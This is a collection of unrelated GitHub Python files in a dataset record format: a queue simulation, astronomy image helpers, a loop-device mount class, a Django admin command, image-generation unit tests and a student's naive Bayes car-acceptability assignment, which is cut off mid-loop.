self.proximoEventos[i].dameTuTiempo() < tiempoMinimoProximoEvento.dameTuTiempo() :\n tiempoMinimoProximoEvento = self.proximoEventos[i]\n self.tipoProximoEvento = self.proximoEventos[i].dameTuTipo()\n\n self.tiempoUltimoEvento = self.relojSimulacion #Se guarda el tiempo del ultimo evento antes de avanzar el reloj\n self.relojSimulacion = tiempoMinimoProximoEvento.dameTuTiempo()\n #print(\"La lista de sucesos es : \",self.proximoEventos,\"\\n\")\n #print(\"Tiempo ultimo evento\",self.tiempoUltimoEvento)\n #print(\"El proximo evento es al tiempo \", self.relojSimulacion)\n self.actualizarAreas()\n\n def actualizarAreas(self):\n\n tiempoDesdeUltimoEvento = self.relojSimulacion - self.tiempoUltimoEvento\n for i in range(len(self.servidores)): # Esto es asi por las dos etapas con los servidores\n for j in range(len(self.servidores[i])):\n self.servidores[i][j].actualizoArea(tiempoDesdeUltimoEvento)\n\n for i in range(len(self.colas)):\n for j in range(len(self.colas[i])):\n self.colas[i][j].actualizoArea(tiempoDesdeUltimoEvento)\n\n def arribo(self):\n arriboViejo=self.proximoEventos[0] #Para poder guardar el arribo que voy a reemplazar\n self.proximoEventos[0]= Arribo(self.relojSimulacion)\n numServidorAOcupar=0\n numServidorAOcupar=self.buscoServidor()\n #print(\"Servidor elegido\",numServidorAOcupar)\n if numServidorAOcupar == -1: #Todos los servidores de nivel 0 ocupados\n self.colas[0][0].tiempoArribos.append(arriboViejo)\n self.cont+=1\n else:\n demora=0\n self.totalDeDemoras+= demora\n self.cantDeDemorados+=1\n partida=Partida(self.relojSimulacion)\n self.asignoPartidaAServidor(partida,numServidorAOcupar)\n self.proximoEventos[1]=partida\n #self.servidoresLibres()\n\n def partida(self):\n demora=0\n self.desocupoServidor(self.proximoEventos[1])\n if len(self.colas[0][0].tiempoArribos) == 0:\n #self.desocupoServidor(self.proximoEventos[1]) #Esto tiene el objeto partida\n self.proximoEventos[1]=Partida(math.exp(29))\n else:\n #self.desocupoServidor(self.proximoEventos[1])\n demora= self.relojSimulacion - self.colas[0][0].dameValorFIFO()\n self.totalDeDemoras+= demora\n self.cantDeDemorados+=1\n partida=Partida(self.relojSimulacion)\n self.proximoEventos[1] = partida\n numServidorAOcupar = self.buscoServidor()\n self.asignoPartidaAServidor(partida, numServidorAOcupar)\n #La salida fifo ya esta hecha en la cola\n self.calculoEstadisticos()\n\n def calculoEstadisticos(self):\n\n self.mediaDeDemoradosEnCola=self.totalDeDemoras/self.cantDeDemorados\n self.listaQdeT.append(self.mediaDeDemoradosEnCola)\n\n for i in range(len(self.servidores)):\n for j in range(len(self.servidores[i])):\n self.servidores[i][j].actualizoEstadistico(self.relojSimulacion)\n\n for i in range(len(self.colas)):\n for j in range(len(self.colas[i])):\n self.colas[i][j].actualizoEstadistico(self.relojSimulacion)\n\n def asignoPartidaAServidor(self,partida,servidorAOcupar):\n for i in range(0,len(self.servidores[0])):\n if self.servidores[0][i].numeroServidor == servidorAOcupar:\n self.servidores[0][i].ocupoServidor(partida)\n\n def desocupoServidor(self,partida):\n for i in range(len(self.servidores[0])):\n if self.servidores[0][i].partida==partida: #Aca se comparan objetos\n self.servidores[0][i].desocupoServidor()\n\n def buscoServidor(self):\n lista= []\n numServidor = -1\n for i in range(len(self.servidores[0])):\n if( self.servidores[0][i].estado != 1):\n lista.append(self.servidores[0][i].numeroServidor)\n if len(lista)!=0:\n numServidor=random.choice(lista)\n return numServidor\n\n def buscoServidorMinimo(self):\n tiempoMinimoServidor=math.exp(29)\n servidorMinimo=None #Lo seteo en nulo para buscar el minimo servidor\n for i in range(len(self.servidores)): #Esto es asi por las dos etapas con los servidores\n for j in range(len(self.servidores[i])):\n if(self.servidores[i][j].partida is not None): #Esto es para saber si es un objeto,y asi evitar pasar con un servidorMinimo en None\n if self.servidores[i][j].partida.tiempoPartida < tiempoMinimoServidor : #Verifico que el tiempo de partida sea menor al del servidor minimo\n servidorMinimo = self.servidores[i][j] #Esto devuelve un objeto servidor con el menor tiempo\n return servidorMinimo\n\n def inicializar(self):\n cantServidores1=4\n cantServidores2=2\n servidores1=[]\n servidores2=[]\n cola1=[]\n cola2=[]\n for i in range(cantServidores1):\n servidores1.append(Servidor())\n #Servidores del nivel 1\n for i in range(cantServidores2):\n servidores2.append(Servidor())\n #Servidores del nivel 2\n self.servidores.append(servidores1)\n self.servidores.append(servidores2)\n #print(self.servidores)\n cola1.append(Cola()) #Cola en el nivel 1\n for i in range(2):\n cola2.append(Cola()) #Cola en el nivel 2\n self.colas.append(cola1)\n self.colas.append(cola2)\n #print(self.colas)\n\n def informe(self):\n\n print(\"\\n------------Datos del sistema ------------\")\n for i in range(len(self.servidores)):\n print(\"Datos de los servidores nivel \",i+1)\n for j in range(len(self.servidores[i])):\n self.servidores[i][j].dameTusDatos(self.relojSimulacion)\n print(\"-------------------------------------------\")\n\n for i in range(len(self.colas)):\n print(\"Datos de las colas de nivel \", i + 1)\n for j in range(len(self.colas[i])):\n self.colas[i][j].dameTusDatos(self.relojSimulacion)\n print(\"-------------------------------------------\")\n\n print(\"Demora promedio de una persona Q(t) \",self.mediaDeDemoradosEnCola)\n print(\"-------------------------------------------\")\n #for i in range(len(Simu.servidores[0])):\n # self.servidores[0][i].creoGrafico()\n\n#----------------------------------------------------------------------------------------\n\nSimu = Simulador()\nSimu.inicializar()\n\n#Arribo.tasaArribo=float(input(\"Ingrese tasa de arribo : \"))\n#Partida.tasaServicio=float(input(\"Ingrese tasa de servicio : \"))\n\nSimu.proximoEventos[0]= Arribo(Simu.relojSimulacion) #Reloj de simulacion en 0\nSimu.proximoEventos[1]=Partida(math.exp(29))\n\n\nwhile(Simu.cantDeDemorados<9999):#Simu.relojSimulacion<5):\n # Se actualiza el tiempo de la simulacion\n Simu.temporizador()\n # Actualizar areas esta dentro del temporizador\n if Simu.tipoProximoEvento == \"A\":\n Simu.arribo()\n else:\n Simu.partida()\nSimu.informe()\n\n\n\n\n\n\n\n\n","repo_name":"Gonza077/Simulacion","sub_path":"MMC/MMC Clases.py","file_name":"MMC Clases.py","file_ext":"py","file_size_in_byte":11998,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"30947106791","text":"###############################################\n# Code for removing host galaxy light.\n###############################################\nfrom __future__ import division, print_function\n\nimport numpy as np\nfrom scipy.ndimage import median_filter\nfrom astropy.convolution import convolve\nfrom .sersic import Sersic\nfrom .utils import embed_slices\n\n\n__all__ = ['median_unsharp_mask', \n 'subtract_sersic']\n\n\ndef median_unsharp_mask(img, size, **kwargs):\n \"\"\"\n Remove large-scale features (including the host galaxy)\n using a median filter unsharp mask\n\n Parameters\n ----------\n img : ndarray\n Galaxy image\n size : int\n Size of the median filter\n\n Returns\n -------\n residual : ndarray\n Residual image\n \"\"\"\n img_medfil = median_filter(img, int(size), **kwargs)\n residual = img - img_medfil\n return residual\n\n\ndef subtract_sersic(img, I_e, r_e, n, ell, PA, X0, Y0, psf=None, \n\t\t subimage_shape=None, **kwargs):\n \"\"\"\n Subtract Sersic model from image. Assumes imfit parameter names.\n\n Parameters\n ----------\n img : ndarray\n Galaxy image\n I_e, r_e, n, ell, PA, X0, Y0 : floats\n imfit Sersic params. (lengths should be in pixels)\n psf : ndimage (optional)\n If not None, psf to convolve with model\n subimage_shape : tuple\n If not None, generate model in small subimage. This is useful\n if the main image is large.\n\n Returns\n -------\n residual : ndarray\n Residual image\n \"\"\"\n \n _x0, _y0 = np.array(subimage_shape)/2 if subimage_shape else (X0, Y0)\n params = dict(I_e=I_e, r_e=r_e, n=n, ell=ell, PA=PA, X0=_x0, Y0=_y0)\n sersic = Sersic(params)\n \n shape = subimage_shape if subimage_shape else img.shape\n \n if psf is not None:\n model = convolve(sersic.array(shape), psf)\n else:\n model = sersic.array(shape)\n \n if subimage_shape is not None:\n residual = img.copy()\n img_slice, arr_slice = embed_slices((Y0, X0), \n subimage_shape, \n residual.shape)\n residual[img_slice] = residual[img_slice] - model[arr_slice]\n else:\n residual = img - model\n \n return residual\n","repo_name":"johnnygreco/globhunt","sub_path":"globhunt/galsub.py","file_name":"galsub.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"474240770","text":"import time\n\nstart = time.time()\n\"the code you want to test stays here\"\n\nj = 0\nfor i in range(100000):\n j += 1\n print(\"*\")\n\nend = time.time()\nprint(end - start, \"seconds\")\n","repo_name":"harunaltay/Prj1-Sliding-Puzzle-Uninformed","sub_path":"examples/_example_timing.py","file_name":"_example_timing.py","file_ext":"py","file_size_in_byte":178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"39677391496","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Filename:loop.py\n# Date:Mon Oct 21 11:19:46 CST 2013\n# Author:Pengbo Li\n# E-mail:lipengbo10054444@gmail.com\n\"\"\"Support for mounting images with the loop device.\"\"\"\n\nfrom common import log as logging\nfrom virt import utils\nfrom virt.disk.mount import api\n\nLOG = logging.getLogger('agent')\n\n\nclass LoopMount(api.Mount):\n\n \"\"\"loop back support for raw images.\"\"\"\n mode = 'loop'\n\n def _inner_get_dev(self):\n out, err = utils.trycmd('losetup', '--find', '--show', self.image,\n run_as_root=True)\n if err:\n self.error = \"Could not attach image to loopback: %s\" % err\n LOG.info(\"Loop mount error: %s\" % self.error)\n self.linked = False\n self.device = None\n return False\n\n self.device = out.strip()\n LOG.debug(\"Got loop device %s\" % self.device)\n self.linked = True\n return True\n\n def get_dev(self):\n # devices. Note however that modern kernels will use more loop devices\n # if they exist. If you're seeing lots of retries, consider adding\n # more devices.\n return self._get_dev_retry_helper()\n\n def unget_dev(self):\n if not self.linked:\n return\n\n # thus leaking a loop device unless the losetup --detach is retried:\n # https://lkml.org/lkml/2012/9/28/62\n LOG.debug(\"Release loop device %s\" % self.device)\n utils.execute('losetup', '--detach', self.device, run_as_root=True,\n attempts=3)\n self.linked = False\n self.device = None\n","repo_name":"lipengbo/agent","sub_path":"virt/disk/mount/loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"13454690514","text":"# coding=utf-8\nfrom django.core.management import BaseCommand\n\nfrom core.managing.ban.classes import BanHandler\n\n\nclass Command(BaseCommand):\n def handle(self, *args, **options):\n # This import was moved here to prevent cyclic import.\n from core.users.models import Users\n\n\n uid = None\n for arg in args:\n if 'uid' in arg:\n try:\n uid = arg.split('=')[1]\n except (ValueError, IndexError):\n self.stderr.write('It seems that uid was specified incorrect.')\n\n if not uid:\n self.stderr.write('Please, specify \"uid\" parameter. For example, uid=1000.')\n\n\n user = Users.objects.filter(id=uid)[:1]\n if not user:\n self.stderr.write(\"No user with exact id was found in database.\")\n return\n\n user = user[0]\n\n\n self.stdout.write('User: {}'.format(user.full_name()))\n if BanHandler.check_suspicious_user(user):\n self.stderr.write('User is already in suspicious list.')\n return\n\n if BanHandler.add_suspicious_user(user):\n self.stdout.write('OK. User is added to suspicious list.')\n else:\n self.stderr.write('Unknown error: user was not added to suspicious list.')\n\n","repo_name":"HaySayCheese/mappino","sub_path":"core/managing/ban/management/commands/add_suspicious_user_by_id.py","file_name":"add_suspicious_user_by_id.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"7732011361","text":"from pathlib import Path\nfrom typing import Optional, Tuple\n\nfrom PIL import Image, ImageDraw\n\nfrom niceml.utilities.boundingboxes.bboxlabeling import (\n ObjDetImageLabel,\n ObjDetInstanceLabel,\n)\nfrom niceml.utilities.imagegeneration import (\n crop_text_layer_to_text,\n generate_number_image,\n generate_test_images,\n load_label_from_json,\n)\nfrom niceml.utilities.imagesize import ImageSize\nfrom niceml.utilities.imageutils import get_font\nfrom niceml.utilities.splitutils import clear_folder\nfrom tests.unit.niceml.data.conftest import objdet_image_label_path\n\nimport numpy as np\nimport pytest\n\nfrom niceml.utilities.imagegeneration import convert_image_to_df_row\n\n\ndef test_single_image_generation():\n # Given\n img_size = ImageSize(1024, 1024)\n random_generator = np.random.default_rng(seed=42)\n\n # When\n img, _, labels = generate_number_image(\n random_generator=random_generator,\n rotate=True,\n img_size=img_size,\n detection_label=True,\n max_amount=3,\n )\n # Then\n arr_sum = np.array(img, dtype=np.uint8).sum(axis=2)\n unique_color = np.unique(arr_sum)\n\n for label in labels:\n assert label.class_name in [\"4\", \"9\", \"4\"]\n assert img_size.to_pil_size() == img.size\n assert unique_color.size > 1\n\n\ndef test_multi_image_generation(tmp_dir):\n # Given\n sample_count = 25\n detection_labels = True\n seed = 1234\n max_number = 20\n img_size = ImageSize(256, 256)\n save = True\n\n tmp_location = {\"uri\": tmp_dir}\n clear_folder(tmp_location)\n # When\n generate_test_images(\n location=tmp_location,\n sample_count=sample_count,\n seed=seed,\n max_number=max_number,\n img_size=img_size,\n detection_labels=detection_labels,\n save=save,\n )\n\n # Then\n path = Path(tmp_dir)\n files = [x for x in path.glob(\"**/*\") if x.is_file()]\n assert len(files) == ((sample_count * 3) if detection_labels else sample_count)\n\n\ndef test_load_label_from_json(tmp_dir):\n # Given\n file_path = objdet_image_label_path(file_path=tmp_dir)\n\n # When\n objdet_image_label: ObjDetImageLabel = load_label_from_json(\n location={\"uri\": file_path}, filename=\"\"\n )\n\n # Then\n # pylint:disable=not-an-iterable\n for instance_label in objdet_image_label.labels:\n assert isinstance(instance_label, ObjDetInstanceLabel)\n\n\ndef test_crop_text_layer_to_text():\n font_size = 120\n\n font = get_font(font_name=\"OpenSans-Regular.ttf\", font_size=font_size)\n\n text_layer = Image.new(\"L\", (int(font_size * 1.4), int(font_size * 1.4)))\n\n draw = ImageDraw.Draw(text_layer)\n\n draw.text(xy=(0, 0), text=\"2\", fill=255, font=font)\n\n text_layer = crop_text_layer_to_text(text_layer)\n\n assert (57, 87) == text_layer.size\n\n\n@pytest.mark.parametrize(\n \"identifier, label, image, target_size, expected_output\",\n [\n (\n \"test_image\",\n \"1\",\n np.zeros((4, 4), dtype=np.uint8),\n (2, 2),\n {\n \"identifier\": \"test_image\",\n \"label\": 1,\n \"px_0_0\": 0,\n \"px_0_1\": 0,\n \"px_1_0\": 0,\n \"px_1_1\": 0,\n },\n ),\n (\n \"test_image_2\",\n \"0\",\n np.ones((3, 3), dtype=np.uint8),\n None,\n {\n \"identifier\": \"test_image_2\",\n \"label\": 0,\n \"px_0_0\": 1,\n \"px_0_1\": 1,\n \"px_0_2\": 1,\n \"px_1_0\": 1,\n \"px_1_1\": 1,\n \"px_1_2\": 1,\n \"px_2_0\": 1,\n \"px_2_1\": 1,\n \"px_2_2\": 1,\n },\n ),\n ],\n)\ndef test_convert_image_to_df_row(\n identifier: str,\n label: str,\n image: np.ndarray,\n target_size: Optional[Tuple],\n expected_output: dict,\n):\n # call the function with the test data\n df_row = convert_image_to_df_row(identifier, label, image, target_size)\n\n # check the output\n assert df_row == expected_output\n","repo_name":"codecentric-oss/niceml","sub_path":"tests/unit/niceml/utilities/test_imagegeneration.py","file_name":"test_imagegeneration.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"69"} +{"seq_id":"24213531072","text":"\"\"\"\r\nAuthor/Student Name (Student ID): Ehsan Sabery Ghomy (400345079)\r\nProfessor Name: Dr. Jeff Fortuna\r\nCourse: SFWR TECH 4DM3 (Data Mining)\r\nDue Date: April 12, 2023\r\n\r\nIDE: Microsoft Visual Studio Community 2019 - Version 16.11.20\r\nPython Environment: Python 3.8 (64-bit) (anaconda3 - Anaconda3-2020.11-Windows-x86_64)\r\nFile Name: _4DM3_A3_SaberyGhomy.py\r\n\r\n\r\n\r\n\r\nDescription: Assignment 3 - Naïve Bayesian Classification\r\n\r\n\r\n**** There are two files created based on the data given on two tables: trainingData.xlsx and testingData.xlsx\r\n\r\n\r\n\r\nQuestion 1. Consider the following data for purchasing automobiles: (trainingData.xlsx)\r\n\r\n\r\nWhere each attribute is described as:\r\nPurchase $ = {very high, high, medium, low}\r\nMaintenance $ = {very high, high, medium, low}\r\n# of Doors = {2, 4}\r\nTrunk Size = {large, medium, small}\r\nSafety = {high, medium, low}\r\nAcceptability = {acceptable, unacceptable}\r\n\r\n\r\nNote that all of the attributes are nominal, so there is no need to use a normal distribution model. \r\nConstruct a Naïve Bayesian Classifier assuming that Acceptability is the target attribute and classify the \r\nfollowing data (testingData.xlsx). Report the number of errors that you make.\r\n\r\n\r\n\r\n\r\nAdditional Notes (Assumptions): \r\n\r\nIf I cannot classify an example (i.e., both probability values are equal, or both values are 0,) \r\nwhich will result in prediction being unknown,\r\nI will assume it is an error.\r\n\r\n\"\"\"\r\n\r\n\r\nimport numpy\r\nimport pandas\r\nimport copy\r\nimport math\r\n\r\n\r\n\r\ndef getRawData():\r\n trainingData= pandas.DataFrame.to_numpy(pandas.read_excel('trainingData.xlsx', header=None))\r\n trainingData = trainingData[2:,1:]\r\n testingData = pandas.DataFrame.to_numpy(pandas.read_excel('testingData.xlsx', header=None))\r\n testingData = testingData[1:,1:]\r\n return trainingData, testingData\r\n\r\ndef question1(trainingData,testingData):\r\n \r\n #training part\r\n\r\n n = len(trainingData) #total number of training data\r\n\r\n\r\n\r\n #number of each 'Acceptability' column's classes (Label)\r\n \r\n #it will give an array of bool values where if index is acceptable, it is True, if not acceptable, it is False\r\n #then, it will count up (sum) all the True values in that array.\r\n num_acceptable = numpy.all(trainingData[:,[5]]==['acceptable'],axis=1).sum()\r\n\r\n #it will give an array of bool values where if index is unacceptable, it is True, if not unacceptable, it is False\r\n #then, it will count up (sum) all the True values in that array.\r\n num_unacceptable = numpy.all(trainingData[:,[5]]==['unacceptable'],axis=1).sum()\r\n\r\n\r\n\r\n\r\n #probability of each 'Acceptability' column's classes (Label)\r\n prob_acceptable = num_acceptable/n\r\n prob_unacceptable = num_unacceptable/n\r\n\r\n\r\n\r\n\r\n #Probability of 'Purchase $' column's sets that are either acceptable or unacceptable\r\n\r\n\r\n #it will give an array of bool values where if (col[5] is acceptable AND col[0] is very high), it is True, otherwise, it is False\r\n #then, it will count up (sum) all the True values in that array. Then will divide by num_acceptable to give the probability.\r\n prob_purchase_very_high_a = numpy.all(trainingData[:,[0,5]]==['very high','acceptable'],axis=1).sum()/num_acceptable\r\n\r\n #it will give an array of bool values where if (col[5] is unacceptable AND col[0] is very high), it is True, otherwise, it is False\r\n #then, it will count up (sum) all the True values in that array. Then will divide by num_unacceptable to give the probability.\r\n # (This concept is the same for the rest of the code, but with different col index values.)\r\n prob_purchase_very_high_u = numpy.all(trainingData[:,[0,5]]==['very high','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n\r\n\r\n prob_purchase_high_a= numpy.all(trainingData[:,[0,5]]==['high','acceptable'],axis=1).sum()/num_acceptable\r\n prob_purchase_high_u= numpy.all(trainingData[:,[0,5]]==['high','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n prob_purchase_medium_a = numpy.all(trainingData[:,[0,5]]==['medium','acceptable'],axis=1).sum()/num_acceptable\r\n prob_purchase_medium_u = numpy.all(trainingData[:,[0,5]]==['medium','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n prob_purchase_low_a = numpy.all(trainingData[:,[0,5]]==['low','acceptable'],axis=1).sum()/num_acceptable\r\n prob_purchase_low_u = numpy.all(trainingData[:,[0,5]]==['low','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n\r\n #Probability of 'Maintenance $' column's sets that are either acceptable or unacceptable\r\n prob_maintenance_very_high_a = numpy.all(trainingData[:,[1,5]]==['very high','acceptable'],axis=1).sum()/num_acceptable\r\n prob_maintenance_very_high_u = numpy.all(trainingData[:,[1,5]]==['very high','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n prob_maintenance_high_a= numpy.all(trainingData[:,[1,5]]==['high','acceptable'],axis=1).sum()/num_acceptable\r\n prob_maintenance_high_u= numpy.all(trainingData[:,[1,5]]==['high','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n prob_maintenance_medium_a = numpy.all(trainingData[:,[1,5]]==['medium','acceptable'],axis=1).sum()/num_acceptable\r\n prob_maintenance_medium_u = numpy.all(trainingData[:,[1,5]]==['medium','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n prob_maintenance_low_a = numpy.all(trainingData[:,[1,5]]==['low','acceptable'],axis=1).sum()/num_acceptable\r\n prob_maintenance_low_u = numpy.all(trainingData[:,[1,5]]==['low','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n\r\n\r\n #Probability of '# of Doors' column's sets that are either acceptable or unacceptable\r\n #because it is number (int) for this column, I will turn them into string, otherwise, it will not work, even when turning the inside of the index to int value.\r\n\r\n trainingData[trainingData==2] = '2'\r\n prob_doors_2_a = numpy.all(trainingData[:,[2,5]]==['2','acceptable'],axis=1).sum()/num_acceptable\r\n prob_doors_2_u = numpy.all(trainingData[:,[2,5]]==['2','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n trainingData[trainingData==4] = '4'\r\n prob_doors_4_a= numpy.all(trainingData[:,[2,5]]==['4','acceptable'],axis=1).sum()/num_acceptable\r\n prob_doors_4_u= numpy.all(trainingData[:,[2,5]]==['4','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n\r\n #Probability of 'Trunk Size' column's sets that are either acceptable or unacceptable\r\n prob_trunk_size_large_a= numpy.all(trainingData[:,[3,5]]==['large','acceptable'],axis=1).sum()/num_acceptable\r\n prob_trunk_size_large_u= numpy.all(trainingData[:,[3,5]]==['large','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n prob_trunk_size_medium_a = numpy.all(trainingData[:,[3,5]]==['medium','acceptable'],axis=1).sum()/num_acceptable\r\n prob_trunk_size_medium_u = numpy.all(trainingData[:,[3,5]]==['medium','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n prob_trunk_size_small_a = numpy.all(trainingData[:,[3,5]]==['small','acceptable'],axis=1).sum()/num_acceptable\r\n prob_trunk_size_small_u = numpy.all(trainingData[:,[3,5]]==['small','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n\r\n #Probability of 'Safety' column's sets that are either aceeptable or unacceptable\r\n prob_safety_high_a= numpy.all(trainingData[:,[4,5]]==['high','acceptable'],axis=1).sum()/num_acceptable\r\n prob_safety_high_u= numpy.all(trainingData[:,[4,5]]==['high','unacceptable'],axis=1).sum()/num_unacceptable\r\n\r\n prob_safety_medium_a = numpy.all(trainingData[:,[4,5]]==['medium','acceptable'],axis=1).sum()/num_acceptable\r\n prob_safety_medium_u = numpy.all(trainingData[:,[4,5]]==['medium','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n prob_safety_low_a = numpy.all(trainingData[:,[4,5]]==['low','acceptable'],axis=1).sum()/num_acceptable\r\n prob_safety_low_u = numpy.all(trainingData[:,[4,5]]==['low','unacceptable'],axis=1).sum()/num_unacceptable\r\n \r\n\r\n #display results\r\n print(\"Training Part:\")\r\n print('\\nTotal number of training examples:',n)\r\n print('Total number of (acceptable) class:',num_acceptable)\r\n print('Total number of (unacceptable) class:',num_unacceptable)\r\n \r\n print(\"\\nProbability of the Class Label:\")\r\n print('P(acceptable):', prob_acceptable)\r\n print('P(unacceptable):', prob_unacceptable)\r\n\r\n print(\"\\nProbability of the Column Purchase $:\")\r\n print('P(very high | acceptable):', prob_purchase_very_high_a)\r\n print('P(high | acceptable):', prob_purchase_high_a)\r\n print('P(medium | acceptable):', prob_purchase_medium_a)\r\n print('P(low | acceptable):', prob_purchase_low_a)\r\n print('P(very high | unacceptable):', prob_purchase_very_high_u)\r\n print('P(high | unacceptable):', prob_purchase_high_u)\r\n print('P(medium | unacceptable):', prob_purchase_medium_u)\r\n print('P(low | unacceptable):', prob_purchase_low_u)\r\n\r\n print(\"\\nProbability of the Column Maintenance $:\")\r\n print('P(very high | acceptable):', prob_maintenance_very_high_a)\r\n print('P(high | acceptable):', prob_maintenance_high_a)\r\n print('P(medium | acceptable):', prob_maintenance_medium_a)\r\n print('P(low | acceptable):', prob_maintenance_low_a)\r\n print('P(very high | unacceptable):', prob_maintenance_very_high_u)\r\n print('P(high | unacceptable):', prob_maintenance_high_u)\r\n print('P(medium | unacceptable):', prob_maintenance_medium_u)\r\n print('P(low | unacceptable):', prob_maintenance_low_u)\r\n\r\n print(\"\\nProbability of the Column # of Doors:\")\r\n print('P(2 | acceptable):',prob_doors_2_a)\r\n print('P(4 | acceptable):',prob_doors_4_a)\r\n print('P(2 | unacceptable):',prob_doors_2_u)\r\n print('P(4 | unacceptable):',prob_doors_4_u)\r\n\r\n print(\"\\nProbability of the Column Trunk Size:\")\r\n print('P(large | acceptable):',prob_trunk_size_large_a)\r\n print('P(medium | acceptable):',prob_trunk_size_medium_a)\r\n print('P(small | acceptable):',prob_trunk_size_small_a)\r\n print('P(large | unacceptable):',prob_trunk_size_large_u)\r\n print('P(medium | unacceptable):',prob_trunk_size_medium_u)\r\n print('P(small | unacceptable):',prob_trunk_size_small_u)\r\n\r\n\r\n\r\n print(\"\\nProbability of the Column Safety:\")\r\n print('P(high | acceptable):',prob_safety_high_a)\r\n print('P(medium | acceptable):',prob_safety_medium_a)\r\n print('P(low | acceptable):',prob_safety_low_a)\r\n print('P(high | unacceptable):',prob_safety_high_u)\r\n print('P(medium | unacceptable):',prob_safety_medium_u)\r\n print('P(low | unacceptable):',prob_safety_low_u)\r\n\r\n\r\n\r\n #testing part:\r\n\r\n print(\"\\nTesting Part:\")\r\n\r\n n_testing = len(testingData)\r\n\r\n total_num_errors=0\r\n\r\n for i in range(n_testing):\r\n display_text_a = 'P(A)*'\r\n display_equation_a = \"(\" + str(prob_acceptable) + \")\"\r\n prob_a = prob_acceptable\r\n\r\n display_text_u = 'P(U)*'\r\n display_equation_u = \"(\" + str(prob_unacceptable) + \")\"\r\n prob_u = prob_unacceptable\r\n \r\n #checking Purchase column\r\n if (testingData[i][0].lower() == 'very high'):\r\n display_text_a += 'P(very high_purchase |A)*'\r\n display_equation_a += \"(\"+ str(prob_purchase_very_high_a)+ \")\"\r\n prob_a *= prob_purchase_very_high_a\r\n \r\n display_text_u += 'P(very high__purchase |U)*'\r\n display_equation_u += \"(\"+ str(prob_purchase_very_high_u)+ \")\"\r\n prob_u *= prob_purchase_very_high_u\r\n\r\n elif (testingData[i][0].lower() == 'high'):\r\n display_text_a += 'P(high__purchase |A)*'\r\n display_equation_a += \"(\"+ str(prob_purchase_high_a)+ \")\"\r\n prob_a *= prob_purchase_high_a\r\n\r\n display_text_u += 'P(high__purchase |U)*'\r\n display_equation_u += \"(\"+ str(prob_purchase_high_u)+ \")\"\r\n prob_u *= prob_purchase_high_u\r\n\r\n elif (testingData[i][0].lower() == 'medium'):\r\n display_text_a += 'P(medium__purchase |A)*'\r\n display_equation_a += \"(\"+ str(prob_purchase_medium_a)+ \")\"\r\n prob_a *= prob_purchase_medium_a\r\n\r\n display_text_u += 'P(medium__purchase |U)*'\r\n display_equation_u += \"(\"+ str(prob_purchase_medium_u)+ \")\"\r\n prob_u *= prob_purchase_medium_u\r\n\r\n elif (testingData[i][0].lower() == 'low'):\r\n display_text_a += 'P(low__purchase |A)*'\r\n display_equation_a += \"(\"+ str(prob_purchase_low_a)+ \")\"\r\n prob_a *= prob_purchase_low_a\r\n\r\n display_text_u += 'P(low__purchase |U)*'\r\n display_equation_u += \"(\"+ str(prob_purchase_low_u)+ \")\"\r\n prob_u *= prob_purchase_low_u\r\n\r\n #\r\n #checking Maintenance column\r\n if (testingData[i][1].lower() == 'very high'):\r\n display_text_a += 'P(very high_maintenance |A)*'\r\n display_equation_a += \"(\"+ str(prob_maintenance_very_high_a)+ \")\"\r\n prob_a *= prob_maintenance_very_high_a\r\n\r\n display_text_u += 'P(very high_maintenance |U)*'\r\n display_equation_u += \"(\"+ str(prob_maintenance_very_high_u)+ \")\"\r\n prob_u *= prob_maintenance_very_high_u\r\n\r\n elif (testingData[i][1].lower() == 'high'):\r\n display_text_a += 'P(high_maintenance |A)*'\r\n display_equation_a += \"(\"+ str(prob_maintenance_high_a)+ \")\"\r\n prob_a *= prob_maintenance_high_a\r\n\r\n display_text_u += 'P(high_maintenance |U)*'\r\n display_equation_u += \"(\"+ str(prob_maintenance_high_u)+ \")\"\r\n prob_u *= prob_maintenance_high_u\r\n\r\n elif (testingData[i][1].lower() == 'medium'):\r\n display_text_a += 'P(medium_maintenance |A)*'\r\n display_equation_a += \"(\"+ str(prob_maintenance_medium_a)+ \")\"\r\n prob_a *= prob_maintenance_medium_a\r\n\r\n display_text_u += 'P(medium_maintenance |U)*'\r\n display_equation_u += \"(\"+ str(prob_maintenance_medium_u)+ \")\"\r\n prob_u *= prob_maintenance_medium_u\r\n\r\n elif (testingData[i][1].lower() == 'low'):\r\n display_text_a += 'P(low_maintenance |A)*'\r\n display_equation_a += \"(\"+ str(prob_maintenance_low_a)+ \")\"\r\n prob_a *= prob_maintenance_low_a\r\n\r\n display_text_u += 'P(low_maintenance |U)*'\r\n display_equation_u += \"(\"+ str(prob_maintenance_low_u)+ \")\"\r\n prob_u *= prob_maintenance_low_u\r\n\r\n #\r\n #checking # of Doors column\r\n if (testingData[i][2] == 2):\r\n display_text_a += 'P(2_#_doors |A)*'\r\n display_equation_a += \"(\"+ str(prob_doors_2_a)+ \")\"\r\n prob_a *= prob_doors_2_a\r\n\r\n display_text_u += 'P(2_#_doors |U)*'\r\n display_equation_u += \"(\"+ str(prob_doors_2_u)+ \")\"\r\n prob_u *= 